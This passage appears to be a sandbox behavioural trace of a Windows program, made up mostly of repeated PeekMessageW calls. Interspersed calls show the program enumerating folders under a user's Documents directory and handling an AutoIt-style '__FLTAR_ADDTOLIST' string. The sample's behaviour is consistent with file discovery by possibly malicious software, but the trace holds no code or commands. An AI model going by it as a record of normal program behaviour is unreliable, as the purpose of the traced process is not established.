wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee8c) returned 0 [0068.599] PeekMessageW (in: lpMsg=0x130ee8c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee8c) returned 0 [0068.599] PeekMessageW (in: lpMsg=0x130ee8c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee8c) returned 0 [0068.599] PeekMessageW (in: lpMsg=0x130ee8c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee8c) returned 0 [0068.599] PeekMessageW (in: lpMsg=0x130ee8c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee8c) returned 0 [0068.599] PeekMessageW (in: lpMsg=0x130ee8c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee8c) returned 0 [0068.599] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0068.600] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0068.600] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0068.600] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0068.600] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0068.600] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0068.600] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0068.600] FindNextFileW (in: hFindFile=0x164d070, lpFindFileData=0x130eb18 | out: lpFindFileData=0x130eb18) returned 0 [0068.601] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0068.601] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0068.601] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0068.601] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0068.601] FindClose (in: hFindFile=0x164d070 | out: hFindFile=0x164d070) returned 1 [0068.601] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0068.601] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0068.601] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0068.601] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0068.601] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0068.601] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0068.601] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0068.601] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0068.601] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0068.601] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0068.601] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0068.602] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Videos\\*", lpFindFileData=0x130eb18 | out: lpFindFileData=0x130eb18) returned 0xffffffff [0068.602] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0068.602] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0068.602] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0068.602] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0068.602] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0068.602] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0068.602] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0068.602] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0068.602] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0068.602] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0068.602] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0068.602] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0068.602] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\*", lpFindFileData=0x130eb18 | out: lpFindFileData=0x130eb18) returned 0x164d070 [0068.604] FindNextFileW (in: hFindFile=0x164d070, lpFindFileData=0x130eb18 | out: lpFindFileData=0x130eb18) returned 1 [0068.604] FindNextFileW (in: hFindFile=0x164d070, lpFindFileData=0x130eb18 | out: lpFindFileData=0x130eb18) returned 1 [0068.604] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0068.604] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0068.604] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0068.604] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0068.604] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0068.604] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0068.604] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0068.604] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0068.604] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0068.605] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0068.605] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0068.605] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0068.605] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0068.605] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0068.605] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="H", cchCount1=1, lpString2="D", cchCount2=1) returned 3 [0068.605] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0068.605] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0068.605] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0068.605] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0068.605] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0068.605] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0068.605] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0068.605] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0068.605] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0068.605] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0068.605] CharUpperBuffW (in: lpsz="__FLTAR_ADDTOLIST", cchLength=0x11 | out: lpsz="__FLTAR_ADDTOLIST") returned 0x11 [0068.605] PeekMessageW (in: lpMsg=0x130ee8c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee8c) returned 0 [0068.606] PeekMessageW (in: lpMsg=0x130ee8c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee8c) returned 0 [0068.606] PeekMessageW (in: lpMsg=0x130ee8c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee8c) returned 0 [0068.606] PeekMessageW (in: lpMsg=0x130ee8c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee8c) returned 0 [0068.606] PeekMessageW (in: lpMsg=0x130ee8c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee8c) returned 0 [0068.606] PeekMessageW (in: lpMsg=0x130ee8c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee8c) returned 0 [0068.606] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0068.606] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0068.606] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0068.606] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0068.606] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0068.606] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0068.606] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0068.606] FindNextFileW (in: hFindFile=0x164d070, lpFindFileData=0x130eb18 | out: lpFindFileData=0x130eb18) returned 1 [0068.606] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0068.606] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0068.606] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0068.606] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0068.606] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="A", cchCount1=1, lpString2="D", cchCount2=1) returned 1 [0068.606] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0068.606] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0068.607] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0068.607] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0068.607] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0068.607] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0068.607] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0068.607] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0068.607] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0068.607] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0068.607] CharUpperBuffW (in: lpsz="__FLTAR_ADDTOLIST", cchLength=0x11 | out: lpsz="__FLTAR_ADDTOLIST") returned 0x11 [0068.607] PeekMessageW (in: lpMsg=0x130ee8c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee8c) returned 0 [0068.608] PeekMessageW (in: lpMsg=0x130ee8c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee8c) returned 0 [0068.608] PeekMessageW (in: lpMsg=0x130ee8c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee8c) returned 0 [0068.608] PeekMessageW (in: lpMsg=0x130ee8c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee8c) returned 0 [0068.608] PeekMessageW (in: lpMsg=0x130ee8c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee8c) returned 0 [0068.608] PeekMessageW (in: lpMsg=0x130ee8c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee8c) returned 0 [0068.608] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0068.608] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0068.608] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0068.608] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0068.608] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0068.608] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0068.608] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0068.608] FindNextFileW (in: hFindFile=0x164d070, lpFindFileData=0x130eb18 | out: lpFindFileData=0x130eb18) returned 1 [0068.608] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0068.608] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0068.608] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0068.608] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0068.609] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="HD", cchCount1=1, lpString2="D", cchCount2=1) returned 3 [0068.609] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="D", cchCount1=1, lpString2="D", cchCount2=1) returned 2 [0068.609] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0068.609] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0068.609] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0068.609] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0068.609] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0068.609] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0068.609] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0068.609] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0068.609] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0068.609] CharUpperBuffW (in: lpsz="__FLTAR_ADDTOLIST", cchLength=0x11 | out: lpsz="__FLTAR_ADDTOLIST") returned 0x11 [0068.609] PeekMessageW (in: lpMsg=0x130ee8c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee8c) returned 0 [0068.609] PeekMessageW (in: lpMsg=0x130ee8c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee8c) returned 0 [0068.609] PeekMessageW (in: lpMsg=0x130ee8c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee8c) returned 0 [0068.609] PeekMessageW (in: lpMsg=0x130ee8c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee8c) returned 0 [0068.609] PeekMessageW (in: lpMsg=0x130ee8c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee8c) returned 0 [0068.609] PeekMessageW (in: lpMsg=0x130ee8c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee8c) returned 0 [0068.609] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0068.609] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0068.609] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0068.609] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0068.610] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0068.610] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0068.610] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0068.610] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0068.610] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0068.610] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0068.610] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0068.610] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0068.610] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0068.610] FindNextFileW (in: hFindFile=0x164d070, lpFindFileData=0x130eb18 | out: lpFindFileData=0x130eb18) returned 0 [0068.610] PeekMessageW (in: 